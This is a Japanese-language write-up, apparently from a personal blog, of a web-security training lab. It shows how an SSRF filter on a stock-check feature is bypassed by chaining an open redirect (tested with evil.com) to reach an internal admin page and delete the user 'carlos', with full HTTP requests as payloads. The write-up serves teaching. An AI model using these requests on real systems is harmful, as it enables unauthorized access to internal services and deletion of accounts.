Shikata Ga Nai

Private? There is no such things.

LAB: オープンリダイレクションを利用したSSRFフィルタのバイパス

Hello there, ('ω')ノ

このラボでは、SSRF(Server-Side Request Forgery)を利用して、内部の管理インターフェース(http://192.168.0.12:8080/admin)にアクセスし、ユーザー「carlos」を削除する ことが目的です。

しかし、アプリケーションはローカルアプリケーションのURLしか許可しておらず、直接管理ページにはアクセスできません。
そこで、アプリケーション内のオープンリダイレクションの脆弱性を悪用して、フィルタを回避 します。


🔍 攻撃の手順

1. 在庫チェック機能を利用してリクエストを傍受

  1. 任意の製品ページを開く
  2. 「Check stock(在庫を確認)」ボタンをクリック
  3. Burp Suite を起動し、リクエストをキャプチャ

リクエストの例:

POST /product/stock HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://YOUR-LAB-ID.web-security-academy.net/product/stock/check?productId=6&storeId=1

stockApi の値に外部URLを設定するとブロックされることを確認!
このフィルタを回避するため、オープンリダイレクションを探す!


2. オープンリダイレクションの脆弱性を探す

  1. 「Next Product」ボタンをクリックして、遷移先のURLを確認する
  2. path パラメータが Location ヘッダーにそのまま設定されることを確認!
   GET /product/nextProduct?path=http://evil.com HTTP/1.1

レスポンス

   HTTP/1.1 302 Found
   Location: http://evil.com

この機能がオープンリダイレクションの脆弱性を持っていることを確認!


3. SSRFリクエストを作成

オープンリダイレクションを利用し、管理ページにリダイレクトさせる!

▶ SSRFリクエスト

POST /product/stock HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://YOUR-LAB-ID.web-security-academy.net/product/nextProduct?path=http://192.168.0.12:8080/admin

🔹 このリクエストの流れ:

  1. アプリケーションは YOUR-LAB-ID.web-security-academy.net を含むため、フィルタを通過
  2. /product/nextProduct にリクエストが送られる
  3. path=http://192.168.0.12:8080/admin により、管理ページにリダイレクト
  4. バックエンドのHTTPクライアントがリダイレクトをフォローし、http://192.168.0.12:8080/admin にアクセス!

成功すると、レスポンスに /admin のHTMLが含まれる可能性がある!


4. ユーザー削除リクエストを実行

レスポンスのHTMLを確認し、削除リクエストのパスを特定します。
例えば、次のようなリンクがあるとします。

<a href="/admin/delete?username=carlos">Delete carlos</a>

▶ SSRFリクエストでユーザーを削除

POST /product/stock HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://YOUR-LAB-ID.web-security-academy.net/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

このリクエストが成功すれば、「carlos」ユーザーが削除される!
ラボクリア!🎉


🎯 まとめ

  1. 在庫チェック機能を使い、Burp Suite でリクエストをキャプチャ
  2. 「Next Product」のリクエストを確認し、path パラメータによるオープンリダイレクションを発見
  3. オープンリダイレクションを利用し、管理ページ http://192.168.0.12:8080/admin にアクセス
  4. stockApi=http://YOUR-LAB-ID.web-security-academy.net/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos を送信し、ユーザー削除
  5. ラボクリア!🎉

Best regards, (^^ゞ